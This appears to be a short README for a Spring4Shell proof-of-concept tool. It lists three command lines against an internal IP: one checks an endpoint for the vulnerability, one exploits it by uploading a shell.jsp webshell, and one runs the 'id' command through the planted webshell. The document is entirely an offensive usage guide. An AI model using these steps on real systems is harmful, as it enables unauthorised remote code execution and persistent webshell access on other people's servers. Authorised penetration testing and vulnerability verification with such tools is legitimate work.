Simple Spring4Shell POC

• Check if endpoint is vulnerable

python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check

• Exploit vulnerable endpoint

python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit

• Execute command on uploaded webshell

python spring4shell.py -u http://192.168.110.117:8080/shell.jsp --cmd id